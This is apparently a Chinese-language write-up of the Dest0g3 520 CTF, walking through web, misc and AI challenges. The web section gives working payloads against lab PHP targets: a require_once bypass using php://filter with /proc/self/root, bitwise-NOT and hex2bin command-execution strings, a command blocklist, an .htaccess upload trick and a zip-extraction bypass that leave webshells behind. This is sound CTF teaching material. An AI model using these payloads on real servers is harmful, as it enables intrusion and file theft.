目录
<1> Web
(1) phpdest
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中
require_once在调用时php会检查该文件是否已经被包含过,而这里在前面就已经包含了文件flag.php,我们在后面再想包含'flag.php'时就不能实现了,而我们需要做到就是怎么绕过这个哈希表,让php认为我们传入的文件名不在哈希表中,又可以让php能找到这个文件,读取到内容
/proc/self
指向当前进程的/proc/pid/
,/proc/self/root/
是指向/
的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
base64解码后得到flag。
具体原理可看:require_once 绕过不能重复包含文件的限制
我们在审计时找到一处文件包含漏洞(使用require_once或include_once),想利用这个漏洞读取一下数据库配置文件之类的源码,通常可以使用php://filter/convert.base64-encode/resource=file这样的方式将文件以base64的形式读出来。但如果这个文件在前面已经被包含过了,则第二次包含就会失败,即使使用php://filter也一样。
此时我们可以使用“多重软连接”,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了…/进行跳转,还是使用软连接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过require_once。
但是,如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过require_once限制。 在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。
(2) EasyPHP
date()函数满足那个条件一个数不行的。但是下面还有一个 set_error_handler可以输出flag。
set_error_handler(error_function,error_types)
error_function 规定发生错误时运行的函数
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
所以我们post传入 ctf[]=1 报错,得到flag。
(3) ezrce
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
发现passthru,exec(),popen,system等等命令执行函数都被过滤了。用不了。strireplace 还是大小写不敏感的。尝试一下取反绕过,进行无参数rce
执行一下system('ls /');
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
发现flag。再执行 cat /flag
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
得到flag。
看后续别的师傅,得知题解预期解好像是hex2bin():
源代码没有过滤hex2bin()函数, 73797374656d -》system
post传入:aaa=hex2bin('73797374656d')('ls /'); 发现flag。
aaa=hex2bin('73797374656d')('rev /fl?g'); 可以用rev来逆转读取flag。
(4) funny_upload
试了试发现.htaccess文件可以上传并解析,但是过滤了文件内容<?
,可以利用auto_append_file和php伪协议打组合拳绕过
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"
然后传入一个1.txt文件,写入一句话木马的base64编码。
蚁剑连接。在目录下得到flag。
参考:Web安全|.htaccess的奇淫技巧 - 腾讯云开发者社区-腾讯云
下面的都没做出来,根据别的师傅wp学习一下
Dest0g3 520迎新赛_Ff.cheng的博客-CSDN博客
(5) easySSTL
参考:以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区
(6) ezzip
没有信息,我们把s图下载下来,010editor打开,在末尾发现了一串base64
解码后得到源代码:
upload.php:
<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
echo "hacker!!";
exit;
}
if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
echo "only zip!!";
exit;
}
$Myzip = new zip($_FILES['file']['name']);
mkdir($Myzip->path);
move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
echo "Try to unzip your zip to /".$Myzip->path."<br>";
if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}
zip.php:
<?php
class zip
{
public $zip_name;
public $path;
public $zip_manager;
public function __construct($zip_name){
$this->zip_manager = new ZipArchive();
$this->path = $this->gen_path();
$this->zip_name = $zip_name;
}
public function gen_path(){
$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$newchars=str_split($chars);
shuffle($newchars);
$chars_key=array_rand($newchars,15);
$fnstr = "";
for($i=0;$i<15;$i++){
$fnstr.=$newchars[$chars_key[$i]];
}
return md5($fnstr.time().microtime()*100000);
}
public function deldir($dir) {
//先删除目录下的文件:
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file!="..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
$this->deldir($fullpath);
}
}
}
closedir($dh);
}
function dir_list($directory)
{
$array = [];
$dir = dir($directory);
while ($file = $dir->read()) {
if ($file !== '.' && $file !== '..') {
$array[] = $file;
}
}
return $array;
}
public function unzip()
{
$fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
$white_list = ['jpg','png','gif','bmp'];
$this->zip_manager->open($fullpath);
for ($i = 0;$i < $this->zip_manager->count();$i ++) {
if (strstr($this->zip_manager->getNameIndex($i),"../")){
echo "you bad bad";
return false;
}
}
if(!$this->zip_manager->extractTo($this->path)){
echo "Unzip to /".$this->path."/ failed";
exit;
}
@unlink($fullpath);
$file_list = $this->dir_list("/var/www/html/".$this->path."/");
for($i=0;$i<sizeof($file_list);$i++){
if(is_dir($this->path."/".$file_list[$i])){
echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
}
else{
if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
}
}
return true;
}
}
代码审计可知:它会解压ZIP,然后删除ZIP除去图片的所有文件
根据大佬博客里提到使用了 ZipArchive,绕过zip解压方法:两个文件 1.php 和 2.txt,压缩为zip,对压缩文件的文件名进行操作可以导致解压失败从而终止解压,然后遗留shell文件getshell,修改其中一个filename为 /
蚁剑连接:
http://c0213195-4c20-4885-8344-531d0a5476db.node4.buuoj.cn:81/20ef813f9551b2a0c9c242171ad8803d/1.php
密码即为你上传的木马 我这里是1vxyz
进入之后根目录下找到flag点开却没有内容,进入终端cat一下发现没有权限
我们nl来读取,得到flag
其他题目水平还不够,看了wp也不明白 以后在尝试看一看
<2> Misc
(1) Pngenius
010editor打开,发现里面还有PK zip文件里有flag.txt
binwalk -e 分离出zip文件 加密文件
存在图片隐写,stegsolve打开, RGB都是0 处可以得到password
解压后得到flag
(2) EasyEncode
010editor打开发现不存在伪加密
也没有其他提示,应该是弱密码 放到ARCHPR爆破一下
4-6位数字 爆破一下 100861
解码后得到一串 摩斯密码
..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- --... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- -.... ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- --... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ----. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- --... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ---.. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ---.. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ----- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- -.... ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ----. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..--- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..--- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ....-
解码后得到 一串hex编码
5c75303035325c75303034375c75303035365c75303037615c75303036345c75303034345c75303034325c75303036655c75303034645c75303033335c75303037345c75303034355c75303035615c75303035375c75303033395c75303036625c75303036315c75303035375c75303033355c75303036655c75303035385c75303037615c75303034365c75303037615c75303035385c75303033325c75303035355c75303033305c75303036335c75303033335c75303036635c75303036365c75303034655c75303034365c75303033395c75303035365c75303036365c75303035315c75303032355c75303033335c75303034345c75303032355c75303033335c7530303434
在进行hex解码 得到一串 unicode编码
\u0052\u0047\u0056\u007a\u0064\u0044\u0042\u006e\u004d\u0033\u0074\u0045\u005a\u0057\u0039\u006b\u0061\u0057\u0035\u006e\u0058\u007a\u0046\u007a\u0058\u0032\u0055\u0030\u0063\u0033\u006c\u0066\u004e\u0046\u0039\u0056\u0066\u0051\u0025\u0033\u0044\u0025\u0033\u0044
ASCII转unicode得到
RGVzdDBnM3tEZW9kaW5nXzFzX2U0c3lfNF9VfQ%3D%3D
“%3D”在url编码中是“=”’ 所以这是一段base64编码
解码后得到flag:Dest0g3{Deoding_1s_e4sy_4_U}
(3) 你知道js吗
附件下载后 记事本打开 看见了 PK和一堆乱码 应该是.zip文件
解压后得到一堆xml文件 浏览器打开document.xml时发现了三串base64编码
解码后是url编码过的
url解码后三个拼接到一块
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">Do you know js</dpiAwareness>
<script language="javascript">document.write(unescape('<html>
<body><!DOCTYPE html>
<html>
<head>
<title>Do You Know js</title>
<HTA:APPLICATION
APPLICATIONNAME="Do You Know js"
ID="Inception"
VERSION="1.0"
SCROLL="no"/>
<style type="text/css">
</head>
<div id="feature">
<div id="content
</style>
<h1 id="unavailable" class="loading">Building js.....</h1>
<script type="text/javascript" language="javascript">
function RunFile() {
var WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run("notepad %windir%/Desktop/js.txt", 1, false);
/* var oExec = WshShell.Exec("notepad"); *%2F
}
</script>
</div>
</div>
<body>
<input type="button" value="Implant Inception Here" οnclick="RunFile();"/>
<p style="color:white;">+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.---.-.- --.++ ++++.+.--- -..++ ++.<+ ++[-> +++<] >++.< +++[->---< ]>--- ---.+ ++++. -----.+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.<++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.++++++ .---- -.++.++.+.--.--.<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>-.+.-. ---.+ ++.+. -.++++.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.----.--- .+++. -..<+ +++[- >++++ <]>++.<+++ +[->- ---<] >-.++ +++.- ----.+++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++.---- .+.++ ++.-- --.++++.-. ----. +.-.+ ++++.<+++[ ->+++ <]>++ ++.<
</p>
</body>
</body>
</html>
'));</script>
发现一串brainfuck 编码
Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]
在线解码得到一段16进制串: 446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D
hex解码得到flag:Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}
(4) StrangeTraffic
名字听起来像奇怪的流量,流量分析题。需要用到wireshark
他们说可以看出是mudbus工控流量,emmm这方面我不太清楚
追踪TCP流
在每个循环的结尾都存在base64一部分:
直接慢慢划自己记录下来得到密文:
RGVzdDBnM3szMUE1QkVBNi1GMjBELUYxOEEtRThFQS0yOUI0RjI1NzEwOEJ9
base64解码得到flag:Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}
(5) 4096
游戏题目,开启环境后,在前端js代码中搜索flag
得到一串base64编码(part 一部分)
两次base64解码后得到:4ee7-b673-971d81f8b177}
同时,在网络中我们得到了一张.png图片
另一部分应该藏在这个图片中
010editor打开 发现最末尾还有应该什么什么.jpg 应该还有其他文件在其中
binwalk -e favicon.png 分离文件 不过好像分离不出来
其他师傅都是用的foremost工具,搜了搜
Binwalk在CTF中常用于分析隐藏文件
binwalk +文件名可直接扫描
通过扫描能够发现目标文件中包含的所有可识别的文件类型
binwalk -e +文件名扫描
extract自动提取已知的文件类型 ,按照定义的配置文件中的提取方法从固件中提取探测到的文件系统foremost在数字取证中和CTF中常用来恢复、分离文件。
它默认支持19种类型文件(jpg, gif, png, bmp, avi, exe, mpg, mp4, wav, riff, wmv, mov, pdf, ole, doc, zip, rar, html, cpp 等文件)的扫描识别恢复,还可以通过(通过配置它的配置文件foremost.conf)增加新的支持类型。
foremost favicon.png 得到了一个output文件夹
分离出来了一个加密的压缩包(partflag_jpg)、一个.wav音频和一个png图片
耳朵听一下音频,在最开始和结束的时候有拨号音。据说中间的是SSTV(Slow-scan television)
慢扫描电视(Slow-scan television)是业余无线电爱好者的一种主要图片传输方法,慢扫描电视通过无线电传输和接收单色或彩色静态图片。
涉及到的工具有
SSTV Encoder 这个应用程序通过播放音频发送图像(图像→音频)(SSTV编码器)
Robot36 这个应用程序通过收听音频接收图像(音频→图像)(SSTV图像解码器)
这里我们运用robot36来解码转图像 电脑播放,手机自动识别,真神奇
得到密文:MD5(cell phone) 估计密码就是手机号的md5
然后我们截取前一段和后一段的拨号音
我也不太会熟练这个工具 就左键按住不动 Backspace删除掉 保存即可
dtmf2num工具识别一下拨号号码
逆过来就是电话号 13879085947(脚本跑的多了一个7)得到压缩包密码
解压得到下图:
gaps拼图 手敲出这段base64密文
gaps 官方 readme.md 解决puzzle的用法
“–generations” 设置的参数多少都可以,最好就等于原始图片的数量,也就是piece的数量
gaps --image=puzzle.jpg --generations=20 --population=600
nima 这怎么看,再修复一下,发现第二次的和第一次的不同,明显好多了
最后不断拼接尝试解码,RGVzdDBnM3tIZDRKMTE0Zi05ZWU0LQ==
得到另一半flag: Dest0g3{Hd4J114f-9ee4-
(6) Python_jail
根据提示隐藏的字符猜测是0宽隐写
得到提示:whitespace加密
Whitelips the Esoteric Language IDE
whitespace加密:
大多数的编程语言都会忽略代码中的空白字符,“Whitespace”是专门来弥补普通编程语言,它给予这些空白字符最重要的地位。
在“Whitespace”编程语言中,任何非空白的字符都是被忽略的,只有空格符、tab和换行符被认为是有效的语义字符。
解密后得到压缩包密码
解压得到secret1.png stegsolve查看隐写,在RGB0 处发现base64特征
解码得到flag
(7) codegame
Funny and ez codegame with Key to celebrate EDG
改为.zip解压后得到一段KEYcode 和一个加了密的Treasure.zip
HAI EDGNB code
I HAS A CODE ITZ "THISISTHEPASSWORD"
I HAS A MSG ITZ ""
I HAS A COUNTER ITZ 0
I HAS A NUM
IM IN YR LOOP UPPIN YR COUNTER WILE COUNTER SMALLR THAN LEN OF CODE
I HAS A C ITZ CODE!COUNTER
NUM R ORD OF C
NUM R SUM OF NUM AN -3
IZ NUM SMALLR THAN 65?, NUM R SUM OF NUM AN 26, KTHX
NUM R CHR OF NUM
MSG R SMOOSH MSG AN NUM
IM OUTTA YR LOOP
VISIBLE MSG
KTHXBYE
搜了搜这种密码是LOLCODE
在线解码网址:https://www.dcode.fr/lolcode-language
得到:QEFPFPQEBMXPPTLOA 即压缩包密码
打开文档发现AES 其他什么都没有,7z打开doc压缩包
发现了flllllll1ag.txt 得到一堆表情符号
应该是emojiAES KEY:QEFPFPQEBMXPPTLOA
解码网站:emoji-aes
直接解密不行,还需要advanced那里偏移一下,试出来是4
hex解码得到flag:flag{9f68f334-017a-4201-92df-dddcc145334d}
(8) 被污染的二维码
修改附件后缀为zip后提取出来了一个flag1 和flag2
010editor打开发现 flag1是一个png图片,flag2是一个7z压缩包
stegsolve打开看看有没有隐藏信息,然鹅并没有
但修改后缀为.7z后报错了
发现是7z文件头错误,应该是37 7A BC AF 修改完后对其解压,发现需要密码
回到之前的图片看一下 binwalk 查看图片隐藏文件
binwalk -e 分离文件 在A56中得到了密码:Welcome_to_Dest0g3!!!
得到一个txt文件 内容为:
ETImqQOaZ3gxL2MxMzMuAP1wMGR5YG8/Cm8gBGNlLv1xMwquZGHlAGR2Lmq9
我们看见行数和列数有问题,猜测存在0宽隐写,在下面这种模式下解密得到A-MN-Z
所以这段密文可能是rot13,解码后得到:
RGVzdDBnM3tkY2ZkZmZhNC1jZTE5LT8/Pz8tOTAyYi1kZjdhMTUyNTE2Yzd9
base64解码得到:Dest0g3{dcfdffa4-ce19-????-902b-df7a152516c7}
还有四个字符未知,应该是藏在二维码中
这里我们需要用QRazyBox手撸补全一下二维码
QRazyBox - QR Code Analysis and Recovery Toolkit
在补全的时候,不能按照原flag1.png 应该用stegsolve将其xor一下save 对比反色后的涂
(根据树木的推理,应该是墨水污染了二维码,反色后可以看见黑色区域像墨水)
这里只能补个大概,补全不了 太难了 最后扫出四个字符的时候二维码还是没有补全
tools 里的 Extract QR information 可以尽可能地提取二维码的信息自动补全一点
最终得到掩码 45cb 得到flag
<3> AI
The correct flag
发现还有好多隐藏文字
弄到一个文件里之后,用python脚本进行一下词频统计
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()\_+-/={}[] "#所有正常打印字符
strings = open('123.txt').read()#读取需要统计频数的文本
word = strings.split()
result = {}
for i in word:
if i not in result:
result[i] = 1
else:
result[i] += 1
res = sorted(result.items(), key=lambda item: item[1], reverse=True)
f = open('out.txt','w')
num = 0
for data in res:
num += 1
print('频数第{0}: {1}'.format(num, data))
f.writelines('频数第{0}: {1}'.format(num, data))
f.write('\n')
f.close()
print('\n---------------以下是频数从多到少的字符,按照从前到后排序---------------')
for i in res:
flag = str(i[0])
print(flag[0], end="")